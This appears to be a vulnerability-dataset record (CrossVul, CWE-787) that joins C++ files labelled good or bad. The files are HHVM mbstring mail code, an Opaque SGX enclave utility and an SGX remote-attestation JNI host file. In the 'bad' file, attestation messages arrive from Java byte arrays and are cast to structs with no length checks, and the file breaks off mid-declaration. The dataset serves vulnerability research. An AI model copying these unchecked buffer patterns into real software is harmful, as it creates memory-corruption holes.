mbfl_no_encoding_8bit; break; } suppressed_hdrs.cnt_trans_enc = 1; } /* To: */ char *to_r = nullptr; int err = 0; if (!to.empty()) { int to_len = to.size(); if (to_len > 0) { to_r = req::strndup(to.data(), to_len); for (; to_len; to_len--) { if (!isspace((unsigned char)to_r[to_len - 1])) { break; } to_r[to_len - 1] = '\0'; } for (int i = 0; to_r[i]; i++) { if (iscntrl((unsigned char)to_r[i])) { /** * According to RFC 822, section 3.1.1 long headers may be * separated into parts using CRLF followed at least one * linear-white-space character ('\t' or ' '). * To prevent these separators from being replaced with a space, * we use the SKIP_LONG_HEADER_SEP_MBSTRING to skip over them. */ SKIP_LONG_HEADER_SEP_MBSTRING(to_r, i); to_r[i] = ' '; } } } else { to_r = (char*)to.data(); } } else { raise_warning("Missing To: field"); err = 1; } /* Subject: */ String encoded_subject; if (!subject.isNull()) { orig_str.no_language = MBSTRG(current_language); orig_str.val = (unsigned char *)subject.data(); orig_str.len = subject.size(); orig_str.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; if (orig_str.no_encoding == mbfl_no_encoding_invalid || orig_str.no_encoding == mbfl_no_encoding_pass) { mbfl_encoding *encoding = (mbfl_encoding*) mbfl_identify_encoding2(&orig_str, (const mbfl_encoding**) MBSTRG(current_detect_order_list), MBSTRG(current_detect_order_list_size), MBSTRG(strict_detection)); orig_str.no_encoding = encoding != nullptr ? encoding->no_encoding : mbfl_no_encoding_invalid; } mbfl_string *pstr = mbfl_mime_header_encode (&orig_str, &conv_str, tran_cs, head_enc, "\n", sizeof("Subject: [PHP-jp nnnnnnnn]")); if (pstr != nullptr) { encoded_subject = String(reinterpret_cast<char*>(pstr->val), pstr->len, AttachString); } } else { raise_warning("Missing Subject: field"); err = 1; } /* message body */ String encoded_message; if (!message.empty()) { orig_str.no_language = MBSTRG(current_language); orig_str.val = (unsigned char*)message.data(); orig_str.len = message.size(); orig_str.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; if (orig_str.no_encoding == mbfl_no_encoding_invalid || orig_str.no_encoding == mbfl_no_encoding_pass) { mbfl_encoding *encoding = (mbfl_encoding*) mbfl_identify_encoding2(&orig_str, (const mbfl_encoding**) MBSTRG(current_detect_order_list), MBSTRG(current_detect_order_list_size), MBSTRG(strict_detection)); orig_str.no_encoding = encoding != nullptr ? encoding->no_encoding : mbfl_no_encoding_invalid; } mbfl_string *pstr = nullptr; { mbfl_string tmpstr; if (mbfl_convert_encoding(&orig_str, &tmpstr, tran_cs) != nullptr) { tmpstr.no_encoding = mbfl_no_encoding_8bit; pstr = mbfl_convert_encoding(&tmpstr, &conv_str, body_enc); free(tmpstr.val); } } if (pstr != nullptr) { encoded_message = String(reinterpret_cast<char*>(pstr->val), pstr->len, AttachString); } } else { /* this is not really an error, so it is allowed. */ raise_warning("Empty message body"); } /* other headers */ #define PHP_MBSTR_MAIL_MIME_HEADER1 "Mime-Version: 1.0" #define PHP_MBSTR_MAIL_MIME_HEADER2 "Content-Type: text/plain" #define PHP_MBSTR_MAIL_MIME_HEADER3 "; charset=" #define PHP_MBSTR_MAIL_MIME_HEADER4 "Content-Transfer-Encoding: " if (!headers.empty()) { const char *p = headers.data(); int n = headers.size(); mbfl_memory_device_strncat(&device, p, n); if (n > 0 && p[n - 1] != '\n') { mbfl_memory_device_strncat(&device, "\n", 1); } } mbfl_memory_device_strncat(&device, PHP_MBSTR_MAIL_MIME_HEADER1, sizeof(PHP_MBSTR_MAIL_MIME_HEADER1) - 1); mbfl_memory_device_strncat(&device, "\n", 1); if (!suppressed_hdrs.cnt_type) { mbfl_memory_device_strncat(&device, PHP_MBSTR_MAIL_MIME_HEADER2, sizeof(PHP_MBSTR_MAIL_MIME_HEADER2) - 1); char *p = (char *)mbfl_no2preferred_mime_name(tran_cs); if (p != nullptr) { mbfl_memory_device_strncat(&device, PHP_MBSTR_MAIL_MIME_HEADER3, sizeof(PHP_MBSTR_MAIL_MIME_HEADER3) - 1); mbfl_memory_device_strcat(&device, p); } mbfl_memory_device_strncat(&device, "\n", 1); } if (!suppressed_hdrs.cnt_trans_enc) { mbfl_memory_device_strncat(&device, PHP_MBSTR_MAIL_MIME_HEADER4, sizeof(PHP_MBSTR_MAIL_MIME_HEADER4) - 1); const char *p = (char *)mbfl_no2preferred_mime_name(body_enc); if (p == nullptr) { p = "7bit"; } mbfl_memory_device_strcat(&device, p); mbfl_memory_device_strncat(&device, "\n", 1); } mbfl_memory_device_unput(&device); mbfl_memory_device_output('\0', &device); char *all_headers = (char *)device.buffer; String cmd = string_escape_shell_cmd(extra_cmd.c_str()); bool ret = (!err && php_mail(to_r, encoded_subject.data(), encoded_message.data(), all_headers, cmd.data())); mbfl_memory_device_clear(&device); if (to_r != to.data()) { req::free(to_r); } return ret; } static struct mbstringExtension final : Extension { mbstringExtension() : Extension("mbstring", NO_EXTENSION_VERSION_YET) {} void moduleInit() override { // TODO make these PHP_INI_ALL and thread local once we use them IniSetting::Bind(this, IniSetting::PHP_INI_SYSTEM, "mbstring.http_input", &http_input); IniSetting::Bind(this, IniSetting::PHP_INI_SYSTEM, "mbstring.http_output", &http_output); IniSetting::Bind(this, IniSetting::PHP_INI_ALL, "mbstring.substitute_character", &MBSTRG(current_filter_illegal_mode)); HHVM_RC_INT(MB_OVERLOAD_MAIL, 1); HHVM_RC_INT(MB_OVERLOAD_STRING, 2); HHVM_RC_INT(MB_OVERLOAD_REGEX, 4); HHVM_RC_INT(MB_CASE_UPPER, PHP_UNICODE_CASE_UPPER); HHVM_RC_INT(MB_CASE_LOWER, PHP_UNICODE_CASE_LOWER); HHVM_RC_INT(MB_CASE_TITLE, PHP_UNICODE_CASE_TITLE); HHVM_FE(mb_list_encodings); HHVM_FE(mb_list_encodings_alias_names); HHVM_FE(mb_list_mime_names); HHVM_FE(mb_check_encoding); HHVM_FE(mb_convert_case); HHVM_FE(mb_convert_encoding); HHVM_FE(mb_convert_kana); HHVM_FE(mb_convert_variables); HHVM_FE(mb_decode_mimeheader); HHVM_FE(mb_decode_numericentity); HHVM_FE(mb_detect_encoding); HHVM_FE(mb_detect_order); HHVM_FE(mb_encode_mimeheader); HHVM_FE(mb_encode_numericentity); HHVM_FE(mb_encoding_aliases); HHVM_FE(mb_ereg_match); HHVM_FE(mb_ereg_replace); HHVM_FE(mb_ereg_search_getpos); HHVM_FE(mb_ereg_search_getregs); HHVM_FE(mb_ereg_search_init); HHVM_FE(mb_ereg_search_pos); HHVM_FE(mb_ereg_search_regs); HHVM_FE(mb_ereg_search_setpos); HHVM_FE(mb_ereg_search); HHVM_FE(mb_ereg); HHVM_FE(mb_eregi_replace); HHVM_FE(mb_eregi); HHVM_FE(mb_get_info); HHVM_FE(mb_http_input); HHVM_FE(mb_http_output); HHVM_FE(mb_internal_encoding); HHVM_FE(mb_language); HHVM_FE(mb_output_handler); HHVM_FE(mb_parse_str); HHVM_FE(mb_preferred_mime_name); HHVM_FE(mb_regex_encoding); HHVM_FE(mb_regex_set_options); HHVM_FE(mb_send_mail); HHVM_FE(mb_split); HHVM_FE(mb_strcut); HHVM_FE(mb_strimwidth); HHVM_FE(mb_stripos); HHVM_FE(mb_stristr); HHVM_FE(mb_strlen); HHVM_FE(mb_strpos); HHVM_FE(mb_strrchr); HHVM_FE(mb_strrichr); HHVM_FE(mb_strripos); HHVM_FE(mb_strrpos); HHVM_FE(mb_strstr); HHVM_FE(mb_strtolower); HHVM_FE(mb_strtoupper); HHVM_FE(mb_strwidth); HHVM_FE(mb_substitute_character); HHVM_FE(mb_substr_count); HHVM_FE(mb_substr); loadSystemlib(); } static std::string http_input; static std::string http_output; static std::string substitute_character; } s_mbstring_extension; std::string mbstringExtension::http_input = "pass"; std::string mbstringExtension::http_output = "pass"; /////////////////////////////////////////////////////////////////////////////// }
./CrossVul/dataset_final_sorted/CWE-787/cpp/good_5228_0
crossvul-cpp_data_good_517_3
#include "util.h" #include <climits> #include <cstdio> #include "Enclave_t.h" #include "sgx_lfence.h" int printf(const char *fmt, ...) { char buf[BUFSIZ] = {'\0'}; va_list ap; va_start(ap, fmt); int ret = vsnprintf(buf, BUFSIZ, fmt, ap); va_end(ap); ocall_print_string(buf); return ret; } /** From https://stackoverflow.com/a/8362718 */ std::string string_format(const std::string &fmt, ...) { int size=BUFSIZ; std::string str; va_list ap; while (1) { str.resize(size); va_start(ap, fmt); int n = vsnprintf(&str[0], size, fmt.c_str(), ap); va_end(ap); if (n > -1 && n < size) return str; if (n > -1) size = n + 1; else size *= 2; } } void exit(int exit_code) { ocall_exit(exit_code); } void ocall_malloc(size_t size, uint8_t **ret) { unsafe_ocall_malloc(size, ret); // Guard against overwriting enclave memory assert(sgx_is_outside_enclave(*ret, size) == 1); sgx_lfence(); } void print_bytes(uint8_t *ptr, uint32_t len) { for (uint32_t i = 0; i < len; i++) { printf("%u", *(ptr + i)); printf(" - "); } printf("\n"); } int cmp(const uint8_t *value1, const uint8_t *value2, uint32_t len) { for (uint32_t i = 0; i < len; i++) { if (*(value1+i) != *(value2+i)) { return -1; } } return 0; } // basically a memset 0 void clear(uint8_t *dest, uint32_t len) { for (uint32_t i = 0; i < len; i++) { *(dest + i) = 0; } } /// From http://git.musl-libc.org/cgit/musl/tree/src/time/__secs_to_tm.c?h=v0.9.15 /* 2000-03-01 (mod 400 year, immediately after feb29 */ #define LEAPOCH (946684800LL + 86400*(31+29)) #define DAYS_PER_400Y (365*400 + 97) #define DAYS_PER_100Y (365*100 + 24) #define DAYS_PER_4Y (365*4 + 1) int secs_to_tm(long long t, struct tm *tm) { long long days, secs; int remdays, remsecs, remyears; int qc_cycles, c_cycles, q_cycles; int years, months; int wday, yday, leap; static const char days_in_month[] = {31,30,31,30,31,31,30,31,30,31,31,29}; /* Reject time_t values whose year would overflow int */ if (t < INT_MIN * 31622400LL || t > INT_MAX * 31622400LL) return -1; secs = t - LEAPOCH; days = secs / 86400; remsecs = secs % 86400; if (remsecs < 0) { remsecs += 86400; days--; } wday = (3+days)%7; if (wday < 0) wday += 7; qc_cycles = days / DAYS_PER_400Y; remdays = days % DAYS_PER_400Y; if (remdays < 0) { remdays += DAYS_PER_400Y; qc_cycles--; } c_cycles = remdays / DAYS_PER_100Y; if (c_cycles == 4) c_cycles--; remdays -= c_cycles * DAYS_PER_100Y; q_cycles = remdays / DAYS_PER_4Y; if (q_cycles == 25) q_cycles--; remdays -= q_cycles * DAYS_PER_4Y; remyears = remdays / 365; if (remyears == 4) remyears--; remdays -= remyears * 365; leap = !remyears && (q_cycles || !c_cycles); yday = remdays + 31 + 28 + leap; if (yday >= 365+leap) yday -= 365+leap; years = remyears + 4*q_cycles + 100*c_cycles + 400*qc_cycles; for (months=0; days_in_month[months] <= remdays; months++) remdays -= days_in_month[months]; if (years+100 > INT_MAX || years+100 < INT_MIN) return -1; tm->tm_year = years + 100; tm->tm_mon = months + 2; if (tm->tm_mon >= 12) { tm->tm_mon -=12; tm->tm_year++; } tm->tm_mday = remdays + 1; tm->tm_wday = wday; tm->tm_yday = yday; tm->tm_hour = remsecs / 3600; tm->tm_min = remsecs / 60 % 60; tm->tm_sec = remsecs % 60; return 0; }
./CrossVul/dataset_final_sorted/CWE-787/cpp/good_517_3
crossvul-cpp_data_bad_517_0
/** * Copyright(C) 2011-2015 Intel Corporation All Rights Reserved. * * The source code, information and material ("Material") contained herein is * owned by Intel Corporation or its suppliers or licensors, and title to such * Material remains with Intel Corporation or its suppliers or licensors. The * Material contains proprietary information of Intel or its suppliers and * licensors. The Material is protected by worldwide copyright laws and treaty * provisions. No part of the Material may be used, copied, reproduced, * modified, published, uploaded, posted, transmitted, distributed or disclosed * in any way without Intel's prior express written permission. No license * under any patent, copyright or other intellectual property rights in the * Material is granted to or conferred upon you, either expressly, by * implication, inducement, estoppel or otherwise. Any license under such * intellectual property rights must be express and approved by Intel in * writing. * * *Third Party trademarks are the property of their respective owners. * * Unless otherwise agreed by Intel in writing, you may not remove or alter * this notice or any other notice embedded in Materials by Intel or Intel's * suppliers or licensors in any way. */ #include "SGXEnclave.h" // MAX_PATH, getpwuid #include <sys/types.h> #ifdef _MSC_VER # include <Shlobj.h> #else # include <unistd.h> # include <pwd.h> # define MAX_PATH FILENAME_MAX #endif #include <climits> #include <cstdarg> #include <cstdio> #include <cstdlib> #include <sys/time.h> // struct timeval #include <time.h> // gettimeofday #include <sgx_eid.h> /* sgx_enclave_id_t */ #include <sgx_error.h> /* sgx_status_t */ #include <sgx_uae_service.h> #include <sgx_ukey_exchange.h> #include "Enclave_u.h" #include "service_provider.h" #ifndef TRUE # define TRUE 1 #endif #ifndef FALSE # define FALSE 0 #endif #if defined(_MSC_VER) # define TOKEN_FILENAME "Enclave.token" # define ENCLAVE_FILENAME "Enclave.signed.dll" #elif defined(__GNUC__) # define TOKEN_FILENAME "enclave.token" # define ENCLAVE_FILENAME "enclave.signed.so" #endif static sgx_ra_context_t context = INT_MAX; JavaVM* jvm; /* Global EID shared by multiple threads */ sgx_enclave_id_t global_eid = 0; typedef struct _sgx_errlist_t { sgx_status_t err; const char *msg; const char *sug; /* Suggestion */ } sgx_errlist_t; /* Error code returned by sgx_create_enclave */ static sgx_errlist_t sgx_errlist[] = { { SGX_ERROR_UNEXPECTED, "Unexpected error occurred.", NULL }, { SGX_ERROR_INVALID_PARAMETER, "Invalid parameter.", NULL }, { SGX_ERROR_OUT_OF_MEMORY, "Out of memory.", NULL }, { SGX_ERROR_ENCLAVE_LOST, "Power transition occurred.", "Please refer to the sample \"PowerTransition\" for details." }, { SGX_ERROR_INVALID_ENCLAVE, "Invalid enclave image.", NULL }, { SGX_ERROR_INVALID_ENCLAVE_ID, "Invalid enclave identification.", NULL }, { SGX_ERROR_INVALID_SIGNATURE, "Invalid enclave signature.", NULL }, { SGX_ERROR_OUT_OF_EPC, "Out of EPC memory.", NULL }, { SGX_ERROR_NO_DEVICE, "Invalid SGX device.", "Please make sure SGX module is enabled in the BIOS, and install SGX driver afterwards." }, { SGX_ERROR_MEMORY_MAP_CONFLICT, "Memory map conflicted.", NULL }, { SGX_ERROR_INVALID_METADATA, "Invalid enclave metadata.", NULL }, { SGX_ERROR_DEVICE_BUSY, "SGX device was busy.", NULL }, { SGX_ERROR_INVALID_VERSION, "Enclave version was invalid.", NULL }, { SGX_ERROR_INVALID_ATTRIBUTE, "Enclave was not authorized.", NULL }, { SGX_ERROR_ENCLAVE_FILE_ACCESS, "Can't open enclave file.", NULL }, { SGX_SUCCESS, "SGX call success", NULL }, }; /* Check error conditions for loading enclave */ void print_error_message(sgx_status_t ret) { size_t idx = 0; size_t ttl = sizeof sgx_errlist/sizeof sgx_errlist[0]; for (idx = 0; idx < ttl; idx++) { if(ret == sgx_errlist[idx].err) { if(NULL != sgx_errlist[idx].sug) printf("Info: %s\n", sgx_errlist[idx].sug); printf("Error: %s\n", sgx_errlist[idx].msg); break; } } if (idx == ttl) printf("Error: Unexpected error occurred.\n"); } void sgx_check_quiet(const char* message, sgx_status_t ret) { if (ret != SGX_SUCCESS) { printf("%s failed\n", message); print_error_message(ret); } } class scoped_timer { public: scoped_timer(uint64_t *total_time) { this->total_time = total_time; struct timeval start; gettimeofday(&start, NULL); time_start = start.tv_sec * 1000000 + start.tv_usec; } ~scoped_timer() { struct timeval end; gettimeofday(&end, NULL); time_end = end.tv_sec * 1000000 + end.tv_usec; *total_time += time_end - time_start; } uint64_t * total_time; uint64_t time_start, time_end; }; #if defined(PERF) || defined(DEBUG) #define sgx_check(message, op) do { \ printf("%s running...\n", message); \ uint64_t t_ = 0; \ sgx_status_t ret_; \ { \ scoped_timer timer_(&t_); \ ret_ = op; \ } \ double t_ms_ = ((double) t_) / 1000; \ if (ret_ != SGX_SUCCESS) { \ printf("%s failed (%f ms)\n", message, t_ms_); \ print_error_message(ret_); \ } else { \ printf("%s done (%f ms).\n", message, t_ms_); \ } \ } while (0) #else #define sgx_check(message, op) sgx_check_quiet(message, op) #endif /* Initialize the enclave: * Step 1: retrive the launch token saved by last transaction * Step 2: call sgx_create_enclave to initialize an enclave instance * Step 3: save the launch token if it is updated */ int initialize_enclave(void) { char token_path[MAX_PATH] = {'\0'}; sgx_launch_token_t token = {0}; sgx_status_t ret = SGX_ERROR_UNEXPECTED; int updated = 0; /* Step 1: retrive the launch token saved by last transaction */ #ifdef _MSC_VER /* try to get the token saved in CSIDL_LOCAL_APPDATA */ if (S_OK != SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, token_path)) { strncpy_s(token_path, _countof(token_path), TOKEN_FILENAME, sizeof(TOKEN_FILENAME)); } else { strncat_s(token_path, _countof(token_path), "\\" TOKEN_FILENAME, sizeof(TOKEN_FILENAME)+2); } /* open the token file */ HANDLE token_handler = CreateFileA(token_path, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL, NULL); if (token_handler == INVALID_HANDLE_VALUE) { printf("Warning: Failed to create/open the launch token file \"%s\".\n", token_path); } else { /* read the token from saved file */ DWORD read_num = 0; ReadFile(token_handler, token, sizeof(sgx_launch_token_t), &read_num, NULL); if (read_num != 0 && read_num != sizeof(sgx_launch_token_t)) { /* if token is invalid, clear the buffer */ memset(&token, 0x0, sizeof(sgx_launch_token_t)); printf("Warning: Invalid launch token read from \"%s\".\n", token_path); } } #else /* __GNUC__ */ /* try to get the token saved in $HOME */ const char *home_dir = getpwuid(getuid())->pw_dir; if (home_dir != NULL && (strlen(home_dir)+strlen("/")+sizeof(TOKEN_FILENAME)+1) <= MAX_PATH) { /* compose the token path */ strncpy(token_path, home_dir, strlen(home_dir)); strncat(token_path, "/", strlen("/")); strncat(token_path, TOKEN_FILENAME, sizeof(TOKEN_FILENAME)+1); } else { /* if token path is too long or $HOME is NULL */ strncpy(token_path, TOKEN_FILENAME, sizeof(TOKEN_FILENAME)); } FILE *fp = fopen(token_path, "rb"); if (fp == NULL && (fp = fopen(token_path, "wb")) == NULL) { printf("Warning: Failed to create/open the launch token file \"%s\".\n", token_path); } if (fp != NULL) { /* read the token from saved file */ size_t read_num = fread(token, 1, sizeof(sgx_launch_token_t), fp); if (read_num != 0 && read_num != sizeof(sgx_launch_token_t)) { /* if token is invalid, clear the buffer */ memset(&token, 0x0, sizeof(sgx_launch_token_t)); printf("Warning: Invalid launch token read from \"%s\".\n", token_path); } } #endif /* Step 2: call sgx_create_enclave to initialize an enclave instance */ /* Debug Support: set 2nd parameter to 1 */ ret = sgx_create_enclave(ENCLAVE_FILENAME, SGX_DEBUG_FLAG, &token, &updated, &global_eid, NULL); if (ret != SGX_SUCCESS) { print_error_message(ret); #ifdef _MSC_VER if (token_handler != INVALID_HANDLE_VALUE) CloseHandle(token_handler); #else if (fp != NULL) fclose(fp); #endif return -1; } /* Step 3: save the launch token if it is updated */ #ifdef _MSC_VER if (updated == FALSE || token_handler == INVALID_HANDLE_VALUE) { /* if the token is not updated, or file handler is invalid, do not perform saving */ if (token_handler != INVALID_HANDLE_VALUE) CloseHandle(token_handler); return 0; } /* flush the file cache */ FlushFileBuffers(token_handler); /* set access offset to the begin of the file */ SetFilePointer(token_handler, 0, NULL, FILE_BEGIN); /* write back the token */ DWORD write_num = 0; WriteFile(token_handler, token, sizeof(sgx_launch_token_t), &write_num, NULL); if (write_num != sizeof(sgx_launch_token_t)) printf("Warning: Failed to save launch token to \"%s\".\n", token_path); CloseHandle(token_handler); #else /* __GNUC__ */ if (updated == FALSE || fp == NULL) { /* if the token is not updated, or file handler is invalid, do not perform saving */ if (fp != NULL) fclose(fp); return 0; } /* reopen the file with write capablity */ fp = freopen(token_path, "wb", fp); if (fp == NULL) return 0; size_t write_num = fwrite(token, 1, sizeof(sgx_launch_token_t), fp); if (write_num != sizeof(sgx_launch_token_t)) printf("Warning: Failed to save launch token to \"%s\".\n", token_path); fclose(fp); #endif return 0; } /* OCall functions */ void ocall_print_string(const char *str) { /* Proxy/Bridge will check the length and null-terminate * the input string to prevent buffer overflow. */ printf("%s", str); fflush(stdout); } void ocall_malloc(size_t size, uint8_t **ret) { *ret = static_cast<uint8_t *>(malloc(size)); } void ocall_free(uint8_t *buf) { free(buf); } void ocall_exit(int exit_code) { std::exit(exit_code); } /** * Throw a Java exception with the specified message. * * This function is intended to be invoked from an ecall that was in turn invoked by a JNI method. * As a result of calling this function, the JNI method will throw a Java exception upon its return. * * Important: Note that this function will return to the caller. The exception is only thrown at the * end of the JNI method invocation. */ void ocall_throw(const char *message) { JNIEnv* env; jvm->AttachCurrentThread((void**) &env, NULL); jclass exception = env->FindClass("edu/berkeley/cs/rise/opaque/OpaqueException"); env->ThrowNew(exception, message); } #if defined(_MSC_VER) /* query and enable SGX device*/ int query_sgx_status() { sgx_device_status_t sgx_device_status; sgx_status_t sgx_ret = sgx_enable_device(&sgx_device_status); if (sgx_ret != SGX_SUCCESS) { printf("Failed to get SGX device status.\n"); return -1; } else { switch (sgx_device_status) { case SGX_ENABLED: return 0; case SGX_DISABLED_REBOOT_REQUIRED: printf("SGX device has been enabled. Please reboot your machine.\n"); return -1; case SGX_DISABLED_LEGACY_OS: printf("SGX device can't be enabled on an OS that doesn't support EFI interface.\n"); return -1; case SGX_DISABLED: printf("SGX device not found.\n"); return -1; default: printf("Unexpected error.\n"); return -1; } } } #endif JNIEXPORT jlong JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_StartEnclave( JNIEnv *env, jobject obj, jstring library_path) { (void)env; (void)obj; env->GetJavaVM(&jvm); sgx_enclave_id_t eid; sgx_launch_token_t token = {0}; int updated = 0; const char *library_path_str = env->GetStringUTFChars(library_path, nullptr); sgx_check("StartEnclave", sgx_create_enclave( library_path_str, SGX_DEBUG_FLAG, &token, &updated, &eid, nullptr)); env->ReleaseStringUTFChars(library_path, library_path_str); return eid; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_RemoteAttestation0( JNIEnv *env, jobject obj) { (void)env; (void)obj; // in the first step of the remote attestation, generate message 1 to send to the client int ret = 0; // Preparation for remote attestation by configuring extended epid group id // This is Intel's group signature scheme for trusted hardware // It keeps the machine anonymous while allowing the client to use a single public verification key to verify uint32_t extended_epid_group_id = 0; ret = sgx_get_extended_epid_group_id(&extended_epid_group_id); if (SGX_SUCCESS != (sgx_status_t)ret) { fprintf(stdout, "\nError, call sgx_get_extended_epid_group_id fail [%s].", __FUNCTION__); jbyteArray array_ret = env->NewByteArray(0); return array_ret; } #ifdef DEBUG fprintf(stdout, "\nCall sgx_get_extended_epid_group_id success."); #endif // The ISV application sends msg0 to the SP. // The ISV decides whether to support this extended epid group id. #ifdef DEBUG fprintf(stdout, "\nSending msg0 to remote attestation service provider.\n"); #endif jbyteArray array_ret = env->NewByteArray(sizeof(uint32_t)); env->SetByteArrayRegion(array_ret, 0, sizeof(uint32_t), (jbyte *) &extended_epid_group_id); return array_ret; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_RemoteAttestation1( JNIEnv *env, jobject obj, jlong eid) { (void)env; (void)obj; (void)eid; // Remote attestation will be initiated when the ISV server challenges the ISV // app or if the ISV app detects it doesn't have the credentials // (shared secret) from a previous attestation required for secure // communication with the server. int ret = 0; int enclave_lost_retry_time = 2; sgx_status_t status; // Ideally, this check would be around the full attestation flow. do { ret = ecall_enclave_init_ra(eid, &status, false, &context); } while (SGX_ERROR_ENCLAVE_LOST == ret && enclave_lost_retry_time--); if (status != SGX_SUCCESS) { printf("[RemoteAttestation1] enclave_init_ra's status is %u\n", (uint32_t) status); std::exit(1); } uint8_t *msg1 = (uint8_t *) malloc(sizeof(sgx_ra_msg1_t)); #ifdef DEBUG printf("[RemoteAttestation1] context is %u, eid: %u\n", (uint32_t) context, (uint32_t) eid); #endif ret = sgx_ra_get_msg1(context, eid, sgx_ra_get_ga, (sgx_ra_msg1_t*) msg1); if(SGX_SUCCESS != ret) { ret = -1; fprintf(stdout, "\nError, call sgx_ra_get_msg1 fail [%s].", __FUNCTION__); jbyteArray array_ret = env->NewByteArray(0); return array_ret; } else { #ifdef DEBUG fprintf(stdout, "\nCall sgx_ra_get_msg1 success.\n"); fprintf(stdout, "\nMSG1 body generated -\n"); PRINT_BYTE_ARRAY(stdout, msg1, sizeof(sgx_ra_msg1_t)); #endif } // The ISV application sends msg1 to the SP to get msg2, // msg2 needs to be freed when no longer needed. // The ISV decides whether to use linkable or unlinkable signatures. #ifdef DEBUG fprintf(stdout, "\nSending msg1 to remote attestation service provider." "Expecting msg2 back.\n"); #endif jbyteArray array_ret = env->NewByteArray(sizeof(sgx_ra_msg1_t)); env->SetByteArrayRegion(array_ret, 0, sizeof(sgx_ra_msg1_t), (jbyte *) msg1); free(msg1); return array_ret; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_RemoteAttestation2( JNIEnv *env, jobject obj, jlong eid, jbyteArray msg2_input) { (void)env; (void)obj; int ret = 0; //sgx_ra_context_t context = INT_MAX; (void)ret; (void)eid; // Successfully sent msg1 and received a msg2 back. // Time now to check msg2. //uint32_t input_len = (uint32_t) env->GetArrayLength(msg2_input); jboolean if_copy = false; jbyte *ptr = env->GetByteArrayElements(msg2_input, &if_copy); sgx_ra_msg2_t* p_msg2_body = (sgx_ra_msg2_t*)(ptr); #ifdef DEBUG printf("Printing p_msg2_body\n"); PRINT_BYTE_ARRAY(stdout, p_msg2_body, sizeof(sgx_ra_msg2_t)); #endif uint32_t msg3_size = 0; sgx_ra_msg3_t *msg3 = NULL; // The ISV app now calls uKE sgx_ra_proc_msg2, // The ISV app is responsible for freeing the returned p_msg3! #ifdef DEBUG printf("[RemoteAttestation2] context is %u, eid: %u\n", (uint32_t) context, (uint32_t) eid); #endif ret = sgx_ra_proc_msg2(context, eid, sgx_ra_proc_msg2_trusted, sgx_ra_get_msg3_trusted, p_msg2_body, sizeof(sgx_ra_msg2_t), &msg3, &msg3_size); if (!msg3) { fprintf(stdout, "\nError, call sgx_ra_proc_msg2 fail. msg3 = 0x%p [%s].\n", msg3, __FUNCTION__); print_error_message((sgx_status_t) ret); jbyteArray array_ret = env->NewByteArray(0); return array_ret; } if(SGX_SUCCESS != (sgx_status_t)ret) { fprintf(stdout, "\nError, call sgx_ra_proc_msg2 fail. " "ret = 0x%08x [%s].\n", ret, __FUNCTION__); print_error_message((sgx_status_t) ret); jbyteArray array_ret = env->NewByteArray(0); return array_ret; } else { #ifdef DEBUG fprintf(stdout, "\nCall sgx_ra_proc_msg2 success.\n"); #endif } jbyteArray array_ret = env->NewByteArray(msg3_size); env->SetByteArrayRegion(array_ret, 0, msg3_size, (jbyte *) msg3); free(msg3); return array_ret; } JNIEXPORT void JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_RemoteAttestation3( JNIEnv *env, jobject obj, jlong eid, jbyteArray att_result_input) { (void)env; (void)obj; #ifdef DEBUG printf("RemoteAttestation3 called\n"); #endif sgx_status_t status = SGX_SUCCESS; //uint32_t input_len = (uint32_t) env->GetArrayLength(att_result_input); jboolean if_copy = false; jbyte *ptr = env->GetByteArrayElements(att_result_input, &if_copy); ra_samp_response_header_t *att_result_full = (ra_samp_response_header_t *)(ptr); sample_ra_att_result_msg_t *att_result = (sample_ra_att_result_msg_t *) att_result_full->body; #ifdef DEBUG printf("[RemoteAttestation3] att_result's size is %u\n", att_result_full->size); #endif // Check the MAC using MK on the attestation result message. // The format of the attestation result message is ISV specific. // This is a simple form for demonstration. In a real product, // the ISV may want to communicate more information. int ret = 0; ret = ecall_verify_att_result_mac(eid, &status, context, (uint8_t*)&att_result->platform_info_blob, sizeof(ias_platform_info_blob_t), (uint8_t*)&att_result->mac, sizeof(sgx_mac_t)); if((SGX_SUCCESS != ret) || (SGX_SUCCESS != status)) { fprintf(stdout, "\nError: INTEGRITY FAILED - attestation result message MK based cmac failed in [%s], status is %u", __FUNCTION__, (uint32_t) status); return ; } bool attestation_passed = true; // Check the attestation result for pass or fail. // Whether attestation passes or fails is a decision made by the ISV Server. // When the ISV server decides to trust the enclave, then it will return success. // When the ISV server decided to not trust the enclave, then it will return failure. if (0 != att_result_full->status[0] || 0 != att_result_full->status[1]) { fprintf(stdout, "\nError, attestation result message MK based cmac " "failed in [%s].", __FUNCTION__); attestation_passed = false; } // The attestation result message should contain a field for the Platform // Info Blob (PIB). The PIB is returned by attestation server in the attestation report. // It is not returned in all cases, but when it is, the ISV app // should pass it to the blob analysis API called sgx_report_attestation_status() // along with the trust decision from the ISV server. // The ISV application will take action based on the update_info. // returned in update_info by the API. // This call is stubbed out for the sample. // // sgx_update_info_bit_t update_info; // ret = sgx_report_attestation_status( // &p_att_result_msg_body->platform_info_blob, // attestation_passed ? 0 : 1, &update_info); // Get the shared secret sent by the server using SK (if attestation // passed) #ifdef DEBUG printf("[RemoteAttestation3] %u\n", attestation_passed); #endif if (attestation_passed) { ret = ecall_put_secret_data(eid, &status, context, att_result->secret.payload, att_result->secret.payload_size, att_result->secret.payload_tag); if((SGX_SUCCESS != ret) || (SGX_SUCCESS != status)) { fprintf(stdout, "\nError, attestation result message secret " "using SK based AESGCM failed in [%s]. ret = " "0x%0x. status = 0x%0x", __FUNCTION__, ret, status); return ; } } fprintf(stdout, "\nSecret successfully received from server."); fprintf(stdout, "\nRemote attestation success!\n"); #ifdef DEBUG fprintf(stdout, "Destroying the key exchange context\n"); #endif ecall_enclave_ra_close(eid, context); } JNIEXPORT void JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_StopEnclave( JNIEnv *env, jobject obj, jlong eid) { (void)env; (void)obj; sgx_check("StopEnclave", sgx_destroy_enclave(eid)); } JNIEXPORT jbyteArray JNICALL 